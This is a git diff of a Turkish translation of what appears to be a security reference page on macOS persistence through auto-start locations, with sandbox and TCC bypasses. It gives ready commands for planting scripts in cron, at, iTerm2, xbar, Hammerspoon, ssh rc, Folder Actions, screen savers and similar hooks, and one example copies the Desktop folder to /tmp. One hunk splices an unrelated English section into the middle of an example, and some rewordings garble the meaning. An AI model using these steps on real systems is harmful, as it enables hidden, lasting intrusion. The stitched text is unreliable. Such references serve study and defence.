Başlangıçta bir komutu çalıştırabilir: @@ -210,7 +210,7 @@ Bu yapılandırma, **`~/Library/Preferences/com.apple.Terminal.plist`** dosyası } [...] ``` -Yani, sistemdeki terminal tercihlerinin plist'i üzerine yazılırsa, **`open`** işlevi kullanılarak **terminal açılabilir ve o komut çalıştırılabilir**. +Yani, sistemdeki terminalin tercihlerinin plist'i üzerine yazılırsa, **`open`** işlevi kullanılarak **terminal açılabilir ve o komut çalıştırılabilir**. Bunu terminalden şu şekilde ekleyebilirsiniz: @@ -229,7 +229,7 @@ Bunu terminalden şu şekilde ekleyebilirsiniz: * Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button) * TCC atlatma: [✅](https://emojipedia.org/check-mark-button) -* Terminal, kullanıcının FDA izinlerine sahip olmasını gerektirir. +* Terminal, kullanıcının FDA izinlerine sahip olmasını gerektirir #### Konum @@ -238,7 +238,7 @@ Bunu terminalden şu şekilde ekleyebilirsiniz: #### Açıklama ve Sömürü -Eğer bir [**`.terminal`** betiği](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) oluşturursanız ve açarsanız, **Terminal uygulaması** otomatik olarak çağrılacak ve içinde belirtilen komutları çalıştıracaktır. Eğer Terminal uygulamasının özel izinleri varsa (örneğin TCC gibi), komutunuz bu özel izinlerle çalıştırılacaktır. +Eğer bir [**`.terminal`** betiği](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) oluşturursanız ve açarsanız, **Terminal uygulaması** otomatik olarak açılacak ve içinde belirtilen komutları çalıştırmak için çağrılacaktır. Eğer Terminal uygulamasının özel izinleri varsa (örneğin TCC gibi), komutunuz bu özel izinlerle çalıştırılacaktır. Denemek için: ```bash @@ -275,21 +275,21 @@ Açıklama: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https * Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button) * TCC atlatma: [🟠](https://emojipedia.org/large-orange-circle) -* Bazı ek TCC erişimine sahip olabilirsiniz +* Ek TCC erişimi alabilirsiniz #### Konum * **`/Library/Audio/Plug-Ins/HAL`** -* Kök erişimi gereklidir -* **Tetik**: coreaudiod veya bilgisayarı yeniden başlatın +* Root gereklidir +* **Tetik**: coreaudiod veya bilgisayar yeniden başlatılmalıdır * **`/Library/Audio/Plug-ins/Components`** -* Kök erişimi gereklidir -* **Tetik**: coreaudiod veya bilgisayarı yeniden başlatın +* Root gereklidir +* **Tetik**: coreaudiod veya bilgisayar yeniden başlatılmalıdır * **`~/Library/Audio/Plug-ins/Components`** -* **Tetik**: coreaudiod veya bilgisayarı yeniden başlatın +* **Tetik**: coreaudiod veya bilgisayar yeniden başlatılmalıdır * **`/System/Library/Components`** -* Kök erişimi gereklidir -* **Tetik**: coreaudiod veya bilgisayarı yeniden başlatın +* Root gereklidir +* **Tetik**: coreaudiod veya bilgisayar yeniden başlatılmalıdır #### Açıklama @@ -301,7 +301,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilb * Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button) * TCC atlatma: [🟠](https://emojipedia.org/large-orange-circle) -* Bazı ek TCC erişimine sahip olabilirsiniz +* Ek TCC erişimi alabilirsiniz #### Konum @@ -365,7 +365,7 @@ Root kullanıcısı **`/private/var/root/Library/Preferences/com.apple.loginwind ## Koşullu Kum Sandığı Atlatma {% hint style="success" %} -Burada, **kum sandığı atlatma** için yararlı olan başlangıç konumlarını bulabilirsiniz, bu da size bir şeyi **bir dosyaya yazarak** ve belirli **programlar yüklü, "sıradışı" kullanıcı** eylemleri veya ortamlar gibi **çok yaygın olmayan koşullar beklemeksizin** basitçe yürütmenizi sağlar. +Burada, **kum sandığı atlatma** için yararlı olan başlangıç konumlarını bulabilirsiniz, bu da size basitçe bir şeyi **bir dosyaya yazarak** ve belirli **programlar yüklü, "sıradışı" kullanıcı** eylemleri veya ortamlar gibi belirli **yaygın olmayan koşulların** olmasını beklemek anlamına gelir. {% endhint %} ### Cron @@ -373,14 +373,14 @@ Burada, **kum sandığı atlatma** için yararlı olan başlangıç konumların **Açıklama**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/) * Kum sandığını atlamak için yararlı: [✅](https://emojipedia.org/check-mark-button) -* Ancak, `crontab` ikilisini yürütebilmelisiniz -* Veya root olmalısınız +* Ancak, `crontab` ikilisini çalıştırabilmeniz gerekir +* Veya root olmanız gerekir * TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) #### Konum * **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`** -* Doğrudan yazma erişimi için root gereklidir. `crontab `yı yürütebiliyorsanız root gerekli değildir +* Doğrudan yazma erişimi için root gereklidir. `crontab `yı çalıştırabilirseniz root gerekli değildir * **Tetikleyici**: Cron işine bağlıdır #### Açıklama ve Sömürü @@ -389,14 +389,14 @@ Burada, **kum sandığı atlatma** için yararlı olan başlangıç konumların ```bash crontab -l ``` -MacOS'ta, kullanıcıların tüm cron işlerini **`/usr/lib/cron/tabs/`** ve **`/var/at/tabs/`** dizinlerinde görebilirsiniz (root izni gerektirir). +MacOS'ta, **`/usr/lib/cron/tabs/`** ve **`/var/at/tabs/`** (root gerektirir) dizinlerinde kullanıcıların tüm cron işlerini görebilirsiniz. MacOS'ta, belirli bir sıklıkla betikleri çalıştıran birkaç klasör bulunabilir: ```bash # The one with the cron jobs is /usr/lib/cron/tabs/ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ ``` -Burada düzenli **cron işleri**, **at işleri** (pek kullanılmaz) ve **periyodik işler** (genellikle geçici dosyaları temizlemek için kullanılır) bulabilirsiniz. Günlük periyodik işler örneğin şu şekilde yürütülebilir: `periodic daily`. +Burada düzenli **cron işleri**, **at işleri** (pek kullanılmaz) ve **periyodik işler** (genellikle geçici dosyaları temizlemek için kullanılır) bulabilirsiniz. Günlük periyodik işler örneğin şu şekilde çalıştırılabilir: `periodic daily`. **Kullanıcı cron işi programatik olarak eklemek** için şu kullanılabilir: ```bash @@ -414,15 +414,15 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilb #### Konumlar * **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** -* **Tetikleyici**: iTerm açılınca +* **Tetikleyici**: iTerm aç * **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** -* **Tetikleyici**: iTerm açılınca +* **Tetikleyici**: iTerm aç * **`~/Library/Preferences/com.googlecode.iterm2.plist`** -* **Tetikleyici**: iTerm açılınca +* **Tetikleyici**: iTerm aç #### Açıklama ve Sömürü -**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** konumunda saklanan betikler çalıştırılacaktır. Örneğin: +**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** konumunda depolanan betikler çalıştırılacaktır. Örneğin: ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF #!/bin/bash @@ -431,7 +431,38 @@ EOF chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" ``` -veya: +## macOS Auto-Start Locations + +### Launch Agents + +Launch Agents are used to run processes when a user logs in. They are stored in the following locations: + +- `/Library/LaunchAgents/` +- `/System/Library/LaunchAgents/` +- `/Users/username/Library/LaunchAgents/` + +### Launch Daemons + +Launch Daemons are used to run processes at system startup. They are stored in the following locations: + +- `/Library/LaunchDaemons/` +- `/System/Library/LaunchDaemons/` + +### Login Items + +Login Items are applications that open when a user logs in. They can be managed in: + +- `System Preferences > Users & Groups > Login Items` + +### Startup Items + +Startup Items are legacy items that automatically launch when a user logs in. They are stored in: + +- `/Library/StartupItems/` + +### Cron Jobs + +Cron Jobs are scheduled tasks that run at specific times. They can be viewed and managed using the `crontab` command. ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF #!/usr/bin/env python3 @@ -456,7 +487,7 @@ do shell script "touch /tmp/iterm2-autolaunchscpt" Bu ayar, iTerm2 ayarlarında yapılandırılabilir: -
+
Ve komut tercihlere yansıtılır: ```bash @@ -468,7 +499,7 @@ plutil -p com.googlecode.iterm2.plist [...] "Initial Text" => "touch /tmp/iterm-start-command" ``` -Komutun çalıştırılacağı yeri şu şekilde ayarlayabilirsiniz: +Komutun çalıştırılacağı şekli ayarlayabilirsiniz: {% code overflow="wrap" %} ```bash @@ -484,7 +515,7 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2 {% endcode %} {% hint style="warning" %} -İTerm2 tercihlerini kötüye kullanmak için **başka yolların** olması muhtemeldir. +İTerm2 tercihlerini kötüye kullanmak için **başka yolların** yüksek olasılıkla olduğu düşünülmektedir. {% endhint %} ### xbar @@ -494,7 +525,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilb * Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button) * Ancak xbar yüklü olmalı * TCC atlatma: [✅](https://emojipedia.org/check-mark-button) -* Erişilebilirlik izinleri istiyor +* Erişilebilirlik izni istiyor #### Konum @@ -503,7 +534,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilb #### Açıklama -Eğer popüler program [**xbar**](https://github.com/matryer/xbar) yüklü ise, xbar başlatıldığında çalıştırılacak bir kabuk betiği **`~/Library/Application\ Support/xbar/plugins/`** dizinine yazılabilir: +Eğer popüler program [**xbar**](https://github.com/matryer/xbar) yüklü ise, xbar başlatıldığında çalıştırılacak bir kabuk betiği **`~/Library/Application\ Support/xbar/plugins/`** dizininde yazılabilir: ```bash cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF #!/bin/bash @@ -516,9 +547,9 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" **Açıklama**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/) * Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button) -* Ancak Hammerspoon'un yüklü olması gerekmektedir +* Ancak Hammerspoon yüklü olmalı * TCC atlatma: [✅](https://emojipedia.org/check-mark-button) -* Erişilebilirlik izinleri istenir +* Erişilebilirlik izinleri istiyor #### Konum @@ -527,9 +558,9 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" #### Açıklama -[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon), işlemleri için **LUA betik dili**ni kullanan **macOS** için bir otomasyon platformu olarak hizmet verir. Özellikle, tam AppleScript kodunun entegrasyonunu destekler ve kabuk betiklerinin yürütülmesini sağlayarak betikleme yeteneklerini önemli ölçüde artırır. +[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon), işlemleri için **LUA betik dili**ni kullanan bir otomasyon platformu olarak **macOS** için hizmet verir. Özellikle, tam AppleScript kodunun entegrasyonunu destekler ve kabuk betiklerinin yürütülmesini sağlayarak betikleme yeteneklerini önemli ölçüde artırır. -Uygulama, tek bir dosya olan `~/.hammerspoon/init.lua` dosyasını arar ve başlatıldığında betik yürütülür. +Uygulama, tek bir dosya olan `~/.hammerspoon/init.lua` dosyasını arar ve betik başlatıldığında yürütülür. ```bash mkdir -p "$HOME/.hammerspoon" cat > "$HOME/.hammerspoon/init.lua" << EOF @@ -538,49 +569,49 @@ EOF ``` ### BetterTouchTool -* Kumanda kutusunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button) -* Ancak BetterTouchTool yüklü olmalı -* TCC atlaması: [✅](https://emojipedia.org/check-mark-button) +* Kullanışlıdır çünkü kum havuzunu atlar: [✅](https://emojipedia.org/check-mark-button) +* Ancak BetterTouchTool yüklü olmalıdır +* TCC atlatma: [✅](https://emojipedia.org/check-mark-button) * Otomasyon-Kısayolları ve Erişilebilirlik izinleri istiyor #### Konum * `~/Library/Application Support/BetterTouchTool/*` -Bu araç, bazı kısayollar basıldığında uygulamaları veya betikleri yürütmek için gösterge koymayı sağlar. Bir saldırgan, kendi **kısayolunu ve eylemini yürütmek için veritabanında yapılandırabilir** ve keyfi kodu yürütmesini sağlayabilir (bir kısayol sadece bir tuşa basmak olabilir). +Bu araç, bazı kısayollar basıldığında uygulamaları veya betikleri yürütmek için gösterge koymayı sağlar. Bir saldırgan, kendi **kısayolunu ve eylemini yürütmek için veritabanında yapılandırabilir** ve keyfi kod yürütebilir (bir kısayol sadece bir tuşa basmak olabilir). ### Alfred -* Kumanda kutusunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button) -* Ancak Alfred yüklü olmalı -* TCC atlaması: [✅](https://emojipedia.org/check-mark-button) +* Kullanışlıdır çünkü kum havuzunu atlar: [✅](https://emojipedia.org/check-mark-button) +* Ancak Alfred yüklü olmalıdır +* TCC atlatma: [✅](https://emojipedia.org/check-mark-button) * Otomasyon, Erişilebilirlik ve hatta Tam Disk erişimi izinleri istiyor #### Konum * `???` -Belirli koşullar karşılandığında kodu yürütebilen iş akışları oluşturmayı sağlar. Bir saldırganın bir iş akışı dosyası oluşturup Alfred'ın bunu yüklemesini sağlaması potansiyel olarak mümkündür (iş akışlarını kullanmak için premium sürümü kullanmak gereklidir). +Belirli koşullar karşılandığında kod yürütebilen iş akışları oluşturmayı sağlar. Bir saldırganın bir iş akışı dosyası oluşturup Alfred'ın bunu yüklemesini sağlaması potansiyel olarak mümkündür (iş akışlarını kullanabilmek için premium sürümü kullanmak gereklidir). ### SSHRC -Yazılım: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/) +Açıklama: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/) -* Kumanda kutusunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button) -* Ancak ssh etkinleştirilmiş ve kullanılmış olmalı -* TCC atlaması: [✅](https://emojipedia.org/check-mark-button) -* SSH'nin FDA erişimine sahip olması gerekiyor +* Kullanışlıdır çünkü kum havuzunu atlar: [✅](https://emojipedia.org/check-mark-button) +* Ancak ssh etkinleştirilmiş ve kullanılmış olmalıdır +* TCC atlatma: [✅](https://emojipedia.org/check-mark-button) +* SSH'nin FDA erişimine sahip olması gerekmektedir #### Konum * **`~/.ssh/rc`** -* **Tetikleyici**: ssh üzerinden oturum açma +* **Tetikleyici**: SSH üzerinden oturum açma * **`/etc/ssh/sshrc`** * Root gereklidir -* **Tetikleyici**: ssh üzerinden oturum açma +* **Tetikleyici**: SSH üzerinden oturum açma {% hint style="danger" %} -Ssh'yi açmak için Tam Disk Erişimi gereklidir: +SSH'yi açmak için Tam Disk Erişimi gereklidir: ```bash sudo systemsetup -setremotelogin on ``` @@ -621,29 +652,29 @@ osascript -e 'tell application "System Events" to make login item at end with pr #Remove an item: osascript -e 'tell application "System Events" to delete login item "itemname"' ``` -Bu öğeler dosyada **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** saklanır. +Bu öğeler **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** dosyasında saklanır. -**Giriş öğeleri** ayrıca [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) API'si kullanılarak belirtilebilir ve yapılandırma **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** dosyasında saklanacaktır. +**Giriş öğeleri** ayrıca [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) API'sini kullanarak belirtilebilir, bu da yapılandırmayı **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** dosyasında saklayacaktır. ### ZIP olarak Giriş Öğesi (Giriş Öğeleri hakkında önceki bölüme bakın, bu bir uzantıdır) -Eğer bir **ZIP** dosyasını bir **Giriş Öğesi** olarak saklarsanız, **`Archive Utility`** onu açacaktır ve örneğin ZIP dosyası **`~/Library`** içinde saklanmış ve **`LaunchAgents/file.plist`** adlı bir arka kapı içeren bir Klasör içeriyorsa (varsayılan olarak değilse) o klasör oluşturulacak ve plist eklenecektir, böylece kullanıcı bir sonraki oturum açtığında, plist'te belirtilen **arka kapı yürütülecektir**. +Eğer bir **ZIP** dosyasını bir **Giriş Öğesi** olarak saklarsanız, **`Archive Utility`** onu açacak ve örneğin ZIP dosyası **`~/Library`** içinde saklanmış ve **`LaunchAgents/file.plist`** adlı bir arka kapı içeren bir Klasör içeriyorsa (varsayılan olarak değil), o klasör oluşturulacak ve plist eklenecektir, böylece kullanıcı bir dahaki sefer oturum açtığında, **plist'te belirtilen arka kapı yürütülecektir**. -Başka bir seçenek, **`.bash_profile`** ve **`.zshenv`** dosyalarını kullanıcı ANA DİZİN içine oluşturmaktır, böylece LaunchAgents klasörü zaten varsa bu teknik yine de çalışacaktır. +Başka bir seçenek, **`.bash_profile`** ve **`.zshenv`** dosyalarını kullanıcı HOME içine oluşturmaktır, böylece LaunchAgents klasörü zaten varsa bu teknik yine de çalışacaktır. ### At Açıklama: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/) * Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button) -* Ancak **`at`**'ı **çalıştırmanız** ve **etkinleştirmeniz** gerekmektedir -* TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) +* Ancak **`at`**'ı **çalıştırmanız** ve etkin olması **gerekmektedir** +* TCC atlaması: [🔴](https://emojipedia.org/large-red-circle) #### Konum -* **`at`**'ı **çalıştırmanız** ve **etkinleştirmeniz** gerekmektedir +* **`at`**'ı **çalıştırmanız** ve etkin olması **gerekmektedir** #### **Açıklama** @@ -653,17 +684,17 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilb ```bash sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist ``` -Bu, 1 saat içinde bir dosya oluşturacak: +Bu, 1 saat içinde bir dosya oluşturacaktır: ```bash echo "echo 11 > /tmp/at.txt" | at now+1 ``` -`atq` komutunu kullanarak iş kuyruğunu kontrol edin: +İş kuyruğunu `atq` kullanarak kontrol edin: ```shell-session sh-3.2# atq 26 Tue Apr 27 00:46:00 2021 22 Wed Apr 28 00:29:00 2021 ``` -Yukarıda iki zamanlanmış iş görebiliriz. İşi ayrıntılarıyla yazdırmak için `at -c İŞNUMARASI` kullanabiliriz. +Yukarıda iki zamanlanmış iş görebiliriz. İşin detaylarını `at -c İŞNUMARASI` kullanarak yazdırabiliriz. ```shell-session sh-3.2# at -c 26 #!/bin/sh @@ -707,11 +738,11 @@ total 32 -r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2 -rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2 ``` -Dosya adı sırayı, iş numarasını ve çalıştırılacağı zamanı içerir. Örneğin `a0001a019bdcd2`'ye bakalım. +Dosya adı sırayı, iş numarasını ve çalışma zamanını içerir. Örneğin `a0001a019bdcd2`'ye bakalım. * `a` - bu kuyruktur * `0001a` - onaltılık iş numarası, `0x1a = 26` -* `019bdcd2` - onaltılık zaman. Bu, epoch'tan bu yana geçen dakikaları temsil eder. `0x019bdcd2`, ondalıkta `26991826`'ya denk gelir. 60 ile çarptığımızda `1619509560` elde ederiz, bu da `GMT: 2021 Nisan 27, Salı 7:46:00`'ye denk gelir. +* `019bdcd2` - onaltılık zaman. Bu, epoch'tan bu yana geçen dakikaları temsil eder. `0x019bdcd2`, ondalık olarak `26991826`'dır. 60 ile çarptığımızda `1619509560` elde ederiz, bu da `GMT: 2021 Nisan 27, Salı 7:46:00`'yi temsil eder. İş dosyasını yazdırırsak, `at -c` kullanarak elde ettiğimiz bilgileri içerdiğini görürüz. @@ -721,21 +752,21 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilb Açıklama: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) * Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button) -* Ancak **`System Events`** ile iletişim kurabilmek için `osascript`'ı argümanlarla çağırabilmeniz gerekir. +* Ancak **`System Events`** ile iletişim kurabilmek için `osascript`'i argümanlarla çağırabilmeniz gerekir. * TCC atlatma: [🟠](https://emojipedia.org/large-orange-circle) * Masaüstü, Belgeler ve İndirmeler gibi bazı temel TCC izinlerine sahiptir #### Konum * **`/Library/Scripts/Folder Action Scripts`** -* Root gereklidir +* Kök izni gereklidir * **Tetikleyici**: Belirtilen klasöre erişim * **`~/Library/Scripts/Folder Action Scripts`** * **Tetikleyici**: Belirtilen klasöre erişim #### Açıklama ve Sömürü -Klasör Eylemleri, bir klasördeki değişiklikler (örneğin öğeler eklemek, kaldırmak veya diğer eylemler gibi klasör penceresini açmak veya yeniden boyutlandırmak) tarafından otomatik olarak tetiklenen betiklerdir. Bu eylemler çeşitli görevler için kullanılabilir ve Finder UI veya terminal komutları kullanılarak tetiklenebilir. +Klasör Eylemleri, bir klasördeki değişikliklerle otomatik olarak tetiklenen betiklerdir; öğeler eklenirken, kaldırılırken veya diğer eylemler gerçekleşirken veya klasör penceresinin açılması veya yeniden boyutlandırılması gibi diğer eylemlerle tetiklenirler. Bu eylemler çeşitli görevler için kullanılabilir ve Finder UI veya terminal komutları kullanılarak tetiklenebilirler. Klasör Eylemleri kurmak için şu seçeneklere sahipsiniz: @@ -758,7 +789,7 @@ Yukarıdaki betiği Klasör Eylemleri tarafından kullanılabilir hale getirmek ```bash osacompile -l JavaScript -o folder.scpt source.js ``` -Skript derlendikten sonra aşağıdaki komut dosyasını çalıştırarak Klasör İşlemlerini yapılandırın. Bu komut dosyası Klasör İşlemlerini genel olarak etkinleştirecek ve önceden derlenmiş olan skripti özel olarak Masaüstü klasörüne ekleyecektir. +Derlemesi yapıldıktan sonra, aşağıdaki betiği çalıştırarak Klasör İşlemlerini ayarlayın. Bu betik, Klasör İşlemlerini genel olarak etkinleştirecek ve önceden derlenmiş betiği özel olarak Masaüstü klasörüne ekleyecektir. ```javascript // Enabling and attaching Folder Action var se = Application("System Events"); @@ -768,7 +799,7 @@ var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"}); se.folderActions.push(fa); fa.scripts.push(myScript); ``` -Ayarlama betiği aşağıdaki komutla çalıştırın: +Ayar dosyasını şu şekilde çalıştırın: ```bash osascript -l JavaScript /Users/username/attach.scpt ``` @@ -787,16 +818,16 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ``` {% endcode %} -Aşağıdaki komutla derleyin: `osacompile -l JavaScript -o klasör.scpt kaynak.js` +Aşağıdaki komutla derleyin: `osacompile -l JavaScript -o folder.scpt source.js` Taşıyın: ```bash mkdir -p "$HOME/Library/Scripts/Folder Action Scripts" mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts" ``` -Sonra, `Folder Actions Setup` uygulamasını açın, **izlemek istediğiniz klasörü seçin** ve sizin durumunuzda **`folder.scpt`**'yi seçin (benim durumumda buna output2.scp adını verdim): +Ardından, `Folder Actions Setup` uygulamasını açın, **izlemek istediğiniz klasörü seçin** ve durumunuzda **`folder.scpt`**'yi seçin (benim durumumda ona output2.scp adını verdim): -
+
Şimdi, eğer o klasörü **Finder** ile açarsanız, betiğiniz çalıştırılacaktır. @@ -808,7 +839,7 @@ Bu yapılandırma, base64 formatında **`~/Library/Preferences/com.apple.FolderA * `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` 2. Şimdi, ayarladığınız Klasör Eylemlerini **kaldırın**: -
+
Şimdi boş bir ortama sahip olduğumuza göre @@ -836,7 +867,7 @@ Yazı: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.gi Dock'ta görünen tüm uygulamalar, plist içinde belirtilmiştir: **`~/Library/Preferences/com.apple.dock.plist`** -Sadece şu komutla bir uygulama **eklemek mümkündür**: +Sadece şu şekilde bir uygulama **eklemek mümkündür**: {% code overflow="wrap" %} ```bash @@ -920,9 +951,9 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbi #### Açıklama ve Sömürü -Kodunuzla bir renk seçici paketini derleyin (örneğin [**bu örneği kullanabilirsiniz**](https://github.com/viktorstrate/color-picker-plus)) ve bir yapılandırıcı ekleyin (benzer şekilde [Ekran Koruyucu bölümünde](macos-auto-start-locations.md#screen-saver) olduğu gibi) ve paketi `~/Library/ColorPickers` dizinine kopyalayın. +Kodunuzla birlikte bir renk seçici paketini derleyin (örneğin [**bu örneği kullanabilirsiniz**](https://github.com/viktorstrate/color-picker-plus)) ve bir yapılandırıcı ekleyin (benzer şekilde [Ekran Koruyucu bölümünde](macos-auto-start-locations.md#screen-saver) olduğu gibi) ve paketi `~/Library/ColorPickers` dizinine kopyalayın. -Sonra, renk seçicisi tetiklendiğinde sizin kodunuz da tetiklenmelidir. +Sonra, renk seçicisi tetiklendiğinde sizin de tetiklenmeniz gerekmektedir. Kütüphanenizi yükleyen ikili dosyanın **çok kısıtlayıcı bir kum havuzu** olduğunu unutmayın: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` @@ -951,9 +982,9 @@ Kütüphanenizi yükleyen ikili dosyanın **çok kısıtlayıcı bir kum havuzu* #### Açıklama ve Sızma -Bir Finder Senkronizasyon Uzantısı örneği olan bir uygulama [**burada bulunabilir**](https://github.com/D00MFist/InSync). +Bir Finder Senkronizasyon Uzantısı örneği içeren bir uygulama [**burada bulunabilir**](https://github.com/D00MFist/InSync). -Uygulamalar `Finder Senkronizasyon Uzantıları`na sahip olabilir. Bu uzantı, çalıştırılacak bir uygulamanın içine gidecektir. Dahası, uzantının kodunu çalıştırabilmesi için **bazı geçerli Apple geliştirici sertifikalarıyla imzalanmış olması gerekir**, **kum havuzunda olması gerekir** (rahatlatılmış istisnalar eklenmiş olabilir) ve şuna benzer bir şeyle kaydedilmiş olması gerekir: +Uygulamalar `Finder Senkronizasyon Uzantıları`na sahip olabilir. Bu uzantı, çalıştırılacak bir uygulamanın içine gidecektir. Dahası, uzantının kodunu çalıştırabilmesi için **bazı geçerli Apple geliştirici sertifikalarıyla imzalanmış olması gerekir**, **kum havuzunda olmalıdır** (rahatlatılmış istisnalar eklenmiş olabilir) ve şuna benzer bir şeyle kaydedilmiş olmalıdır: ```bash pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex pluginkit -e use -i com.example.InSync.InSync @@ -961,7 +992,7 @@ pluginkit -e use -i com.example.InSync.InSync ### Ekran Koruyucu Açıklama: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\ -Açıklama: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf5b) +Açıklama: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b) * Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle) * Ancak genel bir uygulama kum havuzunda sonlanacaksınız @@ -970,21 +1001,21 @@ Açıklama: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https: #### Konum * `/System/Library/Screen Savers` -* Kök erişimi gereklidir -* **Tetik**: Ekran koruyucusunu seçin +* Root gerekli +* **Tetikleyici**: Ekran koruyucusunu seçin * `/Library/Screen Savers` -* Kök erişimi gereklidir -* **Tetik**: Ekran koruyucusunu seçin +* Root gerekli +* **Tetikleyici**: Ekran koruyucusunu seçin * `~/Library/Screen Savers` -* **Tetik**: Ekran koruyucusunu seçin +* **Tetikleyici**: Ekran koruyucusunu seçin -
+
#### Açıklama ve Sömürü -Xcode'da yeni bir proje oluşturun ve yeni bir **Ekran Koruyucu** oluşturmak için şablonu seçin. Ardından, örneğin aşağıdaki kodu günlükler oluşturmak için ekleyin. +Xcode'da yeni bir proje oluşturun ve yeni bir **Ekran Koruyucu** oluşturmak için şablonu seçin. Ardından, örneğin aşağıdaki kodu kullanarak kodunuzu ekleyin. -**Derleyin** ve `.saver` paketini **`~/Library/Screen Savers`** dizinine kopyalayın. Sonra, Ekran Koruyucu GUI'yi açın ve üzerine tıkladığınızda birçok günlük oluşturması gerektiğini göreceksiniz: +**Derleyin** ve `.saver` paketini **`~/Library/Screen Savers`** dizinine kopyalayın. Sonra, Ekran Koruyucu GUI'yi açın ve üzerine tıkladığınızda birçok log oluşturmalıdır: {% code overflow="wrap" %} ```bash @@ -998,7 +1029,7 @@ Timestamp (process)[PID] {% endcode %} {% hint style="danger" %} -Bu kodu yükleyen ikili dosyanın yetkilendirmeleri içinde (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) **`com.apple.security.app-sandbox`** bulunduğundan dolayı **ortak uygulama kum havuzunun içinde olacaksınız**. +Bu kodu yükleyen ikili dosyanın ayrıcalıklarında (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) **`com.apple.security.app-sandbox`** bulunduğundan dolayı **ortak uygulama kum havuzunun içinde olacaksınız**. {% endhint %} Saver kodu: @@ -1069,11 +1100,11 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); ``` ### Spotlight Eklentileri -açıklama: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/) +yazı: 